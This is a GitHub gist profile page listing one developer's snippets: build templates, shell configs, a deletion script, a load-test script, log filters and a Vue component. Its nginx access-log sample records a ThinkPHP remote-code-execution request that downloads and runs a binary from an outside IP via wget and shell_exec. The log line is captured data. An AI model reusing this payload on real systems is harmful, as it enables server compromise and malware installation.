Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Pathompong Pechkongtong boynoiz

🏠
Working from home
View GitHub Profile
@boynoiz
boynoiz / email-html-custom.template.groovy
Created Jan 29, 2021
Custom Jenkins Email Template
View email-html-custom.template.groovy
<!DOCTYPE html>
<html lang="en">
<head>
<title>Jenkins build report</title>
<style type="text/css">
body, table, td, th, p {
font-family: Calibri, Verdana, Helvetica, sans serif;
font-size: 12px;
color: black;
}
View config.fish
#set PATH
set PATH $HOME/bin $HOME/.local/bin $HOME/.composer/vendor/bin /usr/local/bin $PATH
#encoding
set LANG en_US.UTF-8
set LANGUAGE en_US.UTF-8
set LC_ALL en_US.UTF-8
set LC_MESSAGES en_US.UTF-8
# set alias
@boynoiz
boynoiz / profile.json
Created Jul 14, 2019 — forked from fcharlie/profile.json
My Windows Terminal profile.json
View profile.json
{
"defaultProfile": "{410aa365-68e4-4a68-83f5-6139ccb43b0a}",
"initialRows": 30,
"initialCols": 120,
"alwaysShowTabs": true,
"showTerminalTitleInTitlebar": true,
"experimental_showTabsInTitlebar": true,
"profiles": [
{
"startingDirectory": "C:\\Users\\$Username",
View smooth_del.sh
#!/bin/bash
set -e
function help() {
cat << EOF >&2
Usage : ./smooth_del.sh <dir> <ext> <day(s)> <quiet (optional)>
<dir> : The path of directory eg. /var/log/something_log/
<ext> : The extension of file to delete eg. jpg
<day(s)> : Amount number of the day eg. 14 mean 2 weeks
View nginx-access-log.json
{
"@timestamp": "2019-04-08T10:59:35+07:00",
"@fields": {
"remote_addr": "138.68.17.41",
"remote_user": "-",
"status": "404",
"request": "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.168/shenzi.x86;cat%20shenzi.x86%20%3E%20shenzi;chmod%20777%20shenzi;./shenzi HTTP/1.1",
"request_uri": "/public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.168/shenzi.x86;cat%20shenzi.x86%20%3E%20shenzi;chmod%20777%20shenzi;./shenzi",
"request_method": "GET",
"request_time": "0.000",
View k6_script.js
import http from "k6/http";
import { check } from "k6";
import { Trend, Rate, Counter, Gauge } from "k6/metrics";
export let TrendRTT = new Trend("RTT");
export let RateContentOK = new Rate("ContentOK");
export let TrackRate = new Rate("TrackRate");
export let GaugeContentSize = new Gauge("ContentSize");
export let GaugeResponseTime = new Gauge("ResponseTime");
export let CounterErrors = new Counter("Errors");
@boynoiz
boynoiz / logFilter.sh
Last active Mar 28, 2019
Log filter with awk
View logFilter.sh
awk 'match($1,/RequestTime:([0-9]+)/, arr) && arr[1] > 2000 && $6 >= "[27/Mar/2019:09:00:00" && $6 < "[27/Mar/2019:23:59:00" && !/web_service|.ico|.svg|.png|.jpg|.jpeg|.css|.js|.gif|.woff2|:0m/' input.log > output.log
View check_apache_mem_usage_per_process.sh
#!/bin/sh
ps -ylC apache2 --sort:rss | awk '{ s += $8; } END { print "Average Size:", s/(NR-1)/1024, "MB,", NR-1, "Processes, Total usage:", (s/(NR-1)/1024)*(NR-1), "MB, Max Servers:", 6500/(s/(NR-1)/1024) }'
View .babelrc
{
"env": {
"development" : {
"presets": [
["env", {
"targets": {
"browsers": ["last 2 versions", "> 5% in BE"],
"uglify": false
},
"modules": false
@boynoiz
boynoiz / UserTable.vue
Last active Apr 29, 2018
My User DataTable Snippet (BoostrapVue + VueJS + Vee-validate + Ziggy + Axios on Top Laravel API)
View UserTable.vue
<template>
<!-- Main table element -->
<div class="main-content">
<div class="card">
<header class="card-header">
<h4 class="card-title">
<strong>User</strong> List
</h4>
<div class="card-header-actions">
<div class="btn-group btn-group-sm">